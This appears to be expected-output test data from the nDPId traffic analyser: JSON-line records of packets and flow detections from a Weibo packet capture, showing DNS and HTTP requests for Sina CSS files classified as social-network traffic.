+00435{"flow_id":15,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":107,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089072,"pkt_ts_usec":333305,"pkt_caplen":75,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":75,"pkt_l4_len":41,"pkt":"kDVu60UQeJKcD6iOCABFAAA9J7BAAEARj0XAqAFpwKgBAdEnADUAKd+0rc0BAAABAAAAAAAAA2ltZwF0BnNpbmFqcwJjbgAAAQAB"} +00644{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":107,"source":"weibo.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1463089072333,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"192.168.1.1","src_port":53543,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Sina(Weibo)","breed":"Fun","category":"SocialNetwork"},"dns": {"query":"img.t.sinajs.cn","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00450{"flow_id":4,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":110,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089072,"pkt_ts_usec":356956,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"kDVu60UQeJKcD6iOCABFAABEMHtAAEARnP7AqAFp2DrS49GYAbsAMK62DLva88\/LUhUgK1nsvLxTwI61hx7I4ZYbNy\/FHeh1pRHmWfG2sK\/0yA=="} +00594{"flow_id":15,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":135,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089072,"pkt_ts_usec":444805,"pkt_caplen":191,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":191,"pkt_l4_len":157,"pkt":"eJKcD6iOkDVu60UQCABFAACxAABAAEARtoHAqAEBwKgBaQA10ScAnYbirc2BgAABAAUAAAAAA2ltZwF0BnNpbmFqcwJjbgAAAQABwAwABQABAAAAAAAHBHdjZG7AEsAtAAUAAQAAACoAFQZzaW5hanMFY3NnbGIFdHhjZG7AGcBAAAUAAQAABBMAFAhuNGNzd2hrMwVnY2NkbgNuZXQAwGEAAQABAAAABAAEXbyG9sBhAAEAAQAAAAQABF28hvE="} +00673{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":135,"source":"weibo.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":2,"flow_first_seen":1463089072333,"flow_last_seen":1463089072444,"flow_tot_l4_data_len":198,"flow_min_l4_data_len":41,"flow_max_l4_data_len":157,"flow_avg_l4_data_len":99,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"192.168.1.1","src_port":53543,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Sina(Weibo)","breed":"Fun","category":"SocialNetwork"},"dns": {"query":"img.t.sinajs.cn","num_queries":1,"num_answers":5,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"93.188.134.246"}} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":136,"source":"weibo.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1463089072445,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"93.188.134.246","src_port":35803,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":16,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":136,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089072,"pkt_ts_usec":445019,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"kDVu60UQeJKcD6iOCABFAAA8AXdAAEAGkoHAqAFpXbyG9ovbAFCLeghvAAAAAKACchAFvgAAAgQFtAQCCAoAQQkYAAAAAAEDAwc="} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":137,"source":"weibo.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":1463089072445,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"93.188.134.246","src_port":35804,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":17,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":137,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089072,"pkt_ts_usec":445053,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"kDVu60UQeJKcD6iOCABFAAA8fClAAEAGF8\/AqAFpXbyG9ovcAFB8ZHUxAAAAAKACchCoEAAAAgQFtAQCCAoAQQkYAAAAAAEDAwc="} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":138,"source":"weibo.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_first_seen":1463089072445,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"93.188.134.246","src_port":35805,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":18,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":138,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089072,"pkt_ts_usec":445071,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"kDVu60UQeJKcD6iOCABFAAA8mn5AAEAG+XnAqAFpXbyG9ovdAFDX1pNmAAAAAKACchAuaAAAAgQFtAQCCAoAQQkYAAAAAAEDAwc="} +00439{"flow_id":16,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":139,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089072,"pkt_ts_usec":471768,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"eJKcD6iOkDVu60UQCABFAAA8AABAADgGm\/hdvIb2wKgBaQBQi9tGfim0i3oIcKAS\/\/\/69gAAAgQFqAQCCAoDdgkqAEEJGAEDAwc="} +00423{"flow_id":16,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":140,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089072,"pkt_ts_usec":471800,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"kDVu60UQeJKcD6iOCABFAAA0AXhAAEAGkojAqAFpXbyG9ovbAFCLeghwRn4ptYAQAOUoywAAAQEICgBBCR8Ddgkq"} +00438{"flow_id":17,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":141,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089072,"pkt_ts_usec":471818,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"eJKcD6iOkDVu60UQCABFAAA8AABAADgGm\/hdvIb2wKgBaQBQi9zPRoUNfGR1MqAS\/\/+5JgAAAgQFqAQCCAoDdgkrAEEJGAEDAwc="} +00423{"flow_id":17,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":142,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089072,"pkt_ts_usec":471831,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"kDVu60UQeJKcD6iOCABFAAA0fCpAAEAGF9bAqAFpXbyG9ovcAFB8ZHUyz0aFDoAQAOXm+gAAAQEICgBBCR8Ddgkr"} +00439{"flow_id":18,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":143,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089072,"pkt_ts_usec":471843,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"eJKcD6iOkDVu60UQCABFAAA8AABAADgGm\/hdvIb2wKgBaQBQi90SpJVX19aTZ6AS\/\/\/r1QAAAgQFqAQCCAoDdgksAEEJGAEDAwc="} +00423{"flow_id":18,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":144,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089072,"pkt_ts_usec":471854,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"kDVu60UQeJKcD6iOCABFAAA0mn9AAEAG+YDAqAFpXbyG9ovdAFDX1pNnEqSVWIAQAOUZqgAAAQEICgBBCR8Ddgks"} +00986{"flow_id":16,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":145,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089072,"pkt_ts_usec":471951,"pkt_caplen":486,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":486,"pkt_l4_len":452,"pkt":"kDVu60UQeJKcD6iOCABFAAHYAXlAAEAGkOPAqAFpXbyG9ovbAFCLeghwRn4ptYAYAOWFQQAAAQEICgBBCR8DdgkqR0VUIC90Ni9zdHlsZS9jc3MvbW9kdWxlL2Jhc2UvZnJhbWUuY3NzP3ZlcnNpb249MjAxNjA1MTMwNTM3IEhUVFAvMS4xDQpIb3N0OiBpbWcudC5zaW5hanMuY24NCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCkFjY2VwdDogdGV4dC9jc3MsKi8qO3E9MC4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoWDExOyBMaW51eCB4ODZfNjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS81MC4wLjI2NjEuMTAyIFNhZmFyaS81MzcuMzYNClJlZmVyZXI6IGh0dHA6Ly93d3cud2VpYm8uY29tL2xvZ2luLnBocD9sYW5nPWVuLXVzDQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUsIHNkY2gNCkFjY2VwdC1MYW5ndWFnZTogZW4tVVMsZW47cT0wLjgsaXQtSVQ7cT0wLjYsaXQ7cT0wLjQscnU7cT0wLjINCg0K"} +00809{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":145,"source":"weibo.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":4,"flow_first_seen":1463089072445,"flow_last_seen":1463089072471,"flow_tot_l4_data_len":564,"flow_min_l4_data_len":32,"flow_max_l4_data_len":452,"flow_avg_l4_data_len":141,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"93.188.134.246","src_port":35803,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP.Sina(Weibo)","breed":"Fun","category":"SocialNetwork"},"http": {"hostname":"img.t.sinajs.cn","url":"img.t.sinajs.cn\/t6\/style\/css\/module\/base\/frame.css?version=201605130537","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/50.0.2661.102 Safari\/537.36"}} +01002{"flow_id":17,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":146,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089072,"pkt_ts_usec":472038,"pkt_caplen":498,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":498,"pkt_l4_len":464,"pkt":"kDVu60UQeJKcD6iOCABFAAHkfCtAAEAGFiXAqAFpXbyG9ovcAFB8ZHUyz0aFDoAYAOXPzQAAAQEICgBBCR8DdgkrR0VUIC90Ni9zdHlsZS9jc3MvbW9kdWxlL2NvbWJpbmF0aW9uL2NvbWJfbG9naW4uY3NzP3ZlcnNpb249MjAxNjA1MTMwNTM3IEhUVFAvMS4xDQpIb3N0OiBpbWcudC5zaW5hanMuY24NCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCkFjY2VwdDogdGV4dC9jc3MsKi8qO3E9MC4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoWDExOyBMaW51eCB4ODZfNjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS81MC4wLjI2NjEuMTAyIFNhZmFyaS81MzcuMzYNClJlZmVyZXI6IGh0dHA6Ly93d3cud2VpYm8uY29tL2xvZ2luLnBocD9sYW5nPWVuLXVzDQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUsIHNkY2gNCkFjY2VwdC1MYW5ndWFnZTogZW4tVVMsZW47cT0wLjgsaXQtSVQ7cT0wLjYsaXQ7cT0wLjQscnU7cT0wLjINCg0K"} +00821{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":146,"source":"weibo.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":4,"flow_first_seen":1463089072445,"flow_last_seen":1463089072472,"flow_tot_l4_data_len":576,"flow_min_l4_data_len":32,"flow_max_l4_data_len":464,"flow_avg_l4_data_len":144,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"93.188.134.246","src_port":35804,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP.Sina(Weibo)","breed":"Fun","category":"SocialNetwork"},"http": {"hostname":"img.t.sinajs.cn","url":"img.t.sinajs.cn\/t6\/style\/css\/module\/combination\/comb_login.css?version=201605130537","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/50.0.2661.102 Safari\/537.36"}} +00975{"flow_id":18,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":147,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089072,"pkt_ts_usec":472113,"pkt_caplen":476,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":476,"pkt_l4_len":442,"pkt":"kDVu60UQeJKcD6iOCABFAAHOmoBAAEAG9+XAqAFpXbyG9ovdAFDX1pNnEqSVWIAYAOW3oQAAAQEICgBBCR8DdgksR0VUIC90Ni9za2luL2RlZmF1bHQvc2tpbi5jc3M\/dmVyc2lvbj0yMDE2MDUxMzA1MzcgSFRUUC8xLjENCkhvc3Q6IGltZy50LnNpbmFqcy5jbg0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KQWNjZXB0OiB0ZXh0L2NzcywqLyo7cT0wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChYMTE7IExpbnV4IHg4Nl82NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzUwLjAuMjY2MS4xMDIgU2FmYXJpLzUzNy4zNg0KUmVmZXJlcjogaHR0cDovL3d3dy53ZWliby5jb20vbG9naW4ucGhwP2xhbmc9ZW4tdXMNCkFjY2VwdC1FbmNvZGluZzogZ3ppcCwgZGVmbGF0ZSwgc2RjaA0KQWNjZXB0LUxhbmd1YWdlOiBlbi1VUyxlbjtxPTAuOCxpdC1JVDtxPTAuNixpdDtxPTAuNCxydTtxPTAuMg0KDQo="} +00797{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":147,"source":"weibo.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":4,"flow_first_seen":1463089072445,"flow_last_seen":1463089072472,"flow_tot_l4_data_len":554,"flow_min_l4_data_len":32,"flow_max_l4_data_len":442,"flow_avg_l4_data_len":138,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"93.188.134.246","src_port":35805,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP.Sina(Weibo)","breed":"Fun","category":"SocialNetwork"},"http": {"hostname":"img.t.sinajs.cn","url":"img.t.sinajs.cn\/t6\/skin\/default\/skin.css?version=201605130537","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/50.0.2661.102 Safari\/537.36"}} +00423{"flow_id":16,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":148,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089072,"pkt_ts_usec":500000,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iOkDVu60UQCABFAAA0IPZAADgGewpdvIb2wKgBaQBQi9tGfim1i3oKFIAQAqQlTAAAAQEICgN2CUYAQQkf"} +00423{"flow_id":17,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":149,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089072,"pkt_ts_usec":503183,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iOkDVu60UQCABFAAA0jEpAADgGD7ZdvIb2wKgBaQBQi9zPRoUOfGR24oAQAqTjbgAAAQEICgN2CUgAQQkf"} +00424{"flow_id":18,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":150,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089072,"pkt_ts_usec":503227,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iOkDVu60UQCABFAAA0nB1AADgG\/+JdvIb2wKgBaQBQi90SpJVY19aVAYAQAqQWNAAAAQEICgN2CUkAQQkf"} +01111{"flow_id":18,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":151,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089072,"pkt_ts_usec":779356,"pkt_caplen":577,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":577,"pkt_l4_len":543,"pkt":"eJKcD6iOkDVu60UQCABFAAIznB5AADgG\/eJdvIb2wKgBaQBQi90SpJVY19aVAYAYAqSCXAAAAQEICgN2ClkAQQkfSFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDEyIE1heSAyMDE2IDIxOjM3OjUyIEdNVA0KU2VydmVyOiBQV1MvOC4xLjM2DQpYLVB4OiBtcyBoMC1zNjUucDEtbXhwICggaDAtczQ3LnAxLW14cCksIG1zIGgwLXM0Ny5wMS1teHAgKCBoMC1zMTQ5OS5wMjEtbnJ0KSwgaHQgaDAtczE0OTkucDIxLW5ydC5jZG5ncC5uZXQNCkVUYWc6ICI1NmFiMjYzMS1jZjgiDQpDYWNoZS1Db250cm9sOiBtYXgtYWdlPTEyOTYwMDANCkV4cGlyZXM6IEZyaSwgMjcgTWF5IDIwMTYgMjE6Mzc6MDQgR01UDQpBZ2U6IDQ4DQpDb250ZW50LUxlbmd0aDogOTYwDQpDb250ZW50LVR5cGU6IHRleHQvY3NzDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpWYXJ5OiBBY2NlcHQtRW5jb2RpbmcNClB4LVVuY29tcHJlc3MtT3JpZ2luOiAzMzIwDQpMYXN0LU1vZGlmaWVkOiBGcmksIDI5IEphbiAyMDE2IDA4OjQzOjI5IEdNVA0KQWNjZXNzLUNvbnRyb2wtQWxsb3ctT3JpZ2luOiAqDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQoNCg=="} +00423{"flow_id":18,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":152,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089072,"pkt_ts_usec":779408,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"kDVu60UQeJKcD6iOCABFAAA0moFAAEAG+X7AqAFpXbyG9ovdAFDX1pUBEqSXV4AQAO0UjwAAAQEICgBBCWwDdgpZ"} +01741{"flow_id":18,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":153,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089072,"pkt_ts_usec":786257,"pkt_caplen":1026,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1026,"pkt_l4_len":992,"pkt":"eJKcD6iOkDVu60UQCABFAAP0nB9AADgG\/CBdvIb2wKgBaQBQi90SpJdX19aVAYAYAqS\/2AAAAQEICgN2ClkAQQkfH4sIAAAAAAAAAK1W3XLbKhC+P0+hU98kHdnVj+XY1nQ601fIRS8ZEEihkUFFKHWr8bsXkJCxftI202hiW8vut9\/C7rKbR1BXRJ6lDzePIKcZZ8cn\/kKED7tvz4qVQtYIQZgcRG3GSy6Oqxw+4DhLL0pOhOCi9boFb5UHgRF3PgAqWg\/B7LkQvGF4PTb\/ApBkoBLkpefQSxg5y06izLnARLzB9C0BGhtFPBwgHA0ttwqR9fr4BeQNc5AbloWtVCzWmGRcQEkVAcYZST2FVasgKk6ZJMLsk\/EKMK2vbPXbAmO91FoYTHLYlDLlFcyo\/HEMNknqrU\/859qV5LRUvo6wrJ7gXb\/wMQnu9RZ+BpKeSEkZ8YY4ycke5irPc6VVE4bBd0IRb52TpCdYkC4sA3SijKKSF20FMaasWEteHZOgOpsoK6Xs\/YVaLuCJzGSOFJDVFdRE\/6enigsJmUwvq681qJ+pSocGlTQDCNakfSK0eJLHbaTB\/0Mc\/\/B7F+00I\/EWJyRIJwE2orx7Z37WHzQEEKQiUG4qVnyi+GO4DYPDNg62D2EYv7v3XIBO89h9rc\/uUsVratIiIzoRvCD13H32Nt1h199Vog2nsQ\/0k15MJCUplLrOecqqRh5znjW1b3O0LwVks\/OalxYsjuN0NkcvPcZC5Wq7q8qkOp3laCA30NHZC1FJJgJb6reRvsYvWuBnN2nQmlB0NLqKf2sRdnC7w4487J1Snuc1VZsQsypQM1I1+Rz+q2ZkuRL0ECdd6AZ\/getUbcLVUUFFaP2q37dElADATNKXuZLLd\/qxGCBr5+XK+egGsOtdEmVQYE3TJpWEBVDbNHrtM2yJhdtMjN\/IV10qe\/7WcEmcchoyeohvDtK0TYPiROUIVUiOdBRdr6eb8lDI+pZz77eB0Whr8EE\/w9b8ruD+bMtmPIy2y3C9hrrEYjJFLIJF4yOP1JNcl51tvV2JnSNy++ltH5qNLDN\/hvUSwOJZqxurJLkEDL541x7sCEeFPDboG9GNxXhWmeA5k027zKYkA5Y\/WdHHvCResjlxoU5Sf871DhShQxankwVRIHgXJYlv\/4NNdJ++XwSYRgE+8\/Mtm5ySEtdEjpuT5eAKZ\/yH2v+c4eW1CWQF9zBHh4UI452\/C\/39QYeXzMbXm4+Gr8fxfdIT07FOrpCFsc0fQQLMTcoXXM1Yr95J7lx2VZvOPqjYfK3M3BMF4TY4RPtwr66BQA0+HuP9wOMpb1431yyMfq+7MAZ\/62cYAPuZ2LzcToC\/AKDsjev4DAAA"} +00423{"flow_id":18,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":154,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089072,"pkt_ts_usec":786294,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"kDVu60UQeJKcD6iOCABFAAA0moJAAEAG+X3AqAFpXbyG9ovdAFDX1pUBEqSbF4AQAPwQvgAAAQEICgBBCW4DdgpZ"} +01114{"flow_id":17,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":155,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089072,"pkt_ts_usec":786333,"pkt_caplen":580,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":580,"pkt_l4_len":546,"pkt":"eJKcD6iOkDVu60UQCABFAAI2jEtAADgGDbNdvIb2wKgBaQBQi9zPRoUOfGR24oAYAqRDYQAAAQEICgN2ClwAQQkfSFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDEyIE1heSAyMDE2IDIxOjM3OjUyIEdNVA0KU2VydmVyOiBQV1MvOC4xLjM2DQpYLVB4OiBtcyBoMC1zNjUucDEtbXhwICggaDAtczU5LnAxLW14cCksIG1zIGgwLXM1OS5wMS1teHAgKCBoMC1zMTgzMi5wMjEtbnJ0KSwgaHQgaDAtczE4MzIucDIxLW5ydC5jZG5ncC5uZXQNCkVUYWc6ICI1NzMxZTI2Ni1iMTYxIg0KQ2FjaGUtQ29udHJvbDogbWF4LWFnZT0xMjk2MDAwDQpFeHBpcmVzOiBGcmksIDI3IE1heSAyMDE2IDIxOjM3OjA0IEdNVA0KQWdlOiA0OA0KQ29udGVudC1MZW5ndGg6IDkwMTkNCkNvbnRlbnQtVHlwZTogdGV4dC9jc3MNCkNvbnRlbnQtRW5jb2Rpbmc6IGd6aXANClZhcnk6IEFjY2VwdC1FbmNvZGluZw0KUHgtVW5jb21wcmVzcy1PcmlnaW46IDQ1NDA5DQpMYXN0LU1vZGlmaWVkOiBUdWUsIDEwIE1heSAyMDE2IDEzOjMwOjE0IEdNVA0KQWNjZXNzLUNvbnRyb2wtQWxsb3ctT3JpZ2luOiAqDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQoNCg=="} +00423{"flow_id":17,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":156,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089072,"pkt_ts_usec":786367,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"kDVu60UQeJKcD6iOCABFAAA0fCxAAEAGF9TAqAFpXbyG9ovcAFB8ZHbiz0aHEIAQAO3hwAAAAQEICgBBCW4Ddgpc"} +02393{"flow_id":17,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":157,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089072,"pkt_ts_usec":788918,"pkt_caplen":1502,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1502,"pkt_l4_len":1468,"pkt":"eJKcD6iOkDVu60UQCABFAAXQjExAADgGChhdvIb2wKgBaQBQi9zPRocQfGR24oAQAqTl6AAAAQEICgN2ClwAQQkfH4sIAAAAAAAAAN09y44jyXFn+yvSu1hjptHk1INkk2wIFlbCAjZkw5BkLAwIKBTJYrM0RRZFVj9miT4Lvvlo2PBRV3+AYfhvJB\/9C853RWRGVhV7xoJh9Wq6WcyMjIyMjIxXRo2\/zw51VT+UB3Zhx\/pcNmV9WJ6KKm\/Kp+Ke7YryYdcsJ9Po+HLPVvn648Opfjxslo+n6t1X4\/EH9V+5zx+K8wf+3XOz+yDhfVg9GNDx+NfHh7+I00k6SeIonU\/S+eKr94wd6tGpOBZ5w9bFoSlOLIJDjM7lD8VyXT8Vp3v2OraILlfFtj4VAN18da6rx4aju6qbpt4vE4ntSaLOYe7zE+83Up\/Vd2sO67T8ehGJH\/GRj39oluyr3\/\/Lf\/7XP\/z2D\/\/6uz\/8+z\/+93\/884+\/q+vz48tX9+x5VzbF6HzM18XyUD+f8uM92\/JuCs14IqACLNl4U2yzM\/87P9zCx+VhW2e7It\/w+Y5\/c1rXmyJrOIJFg5p9n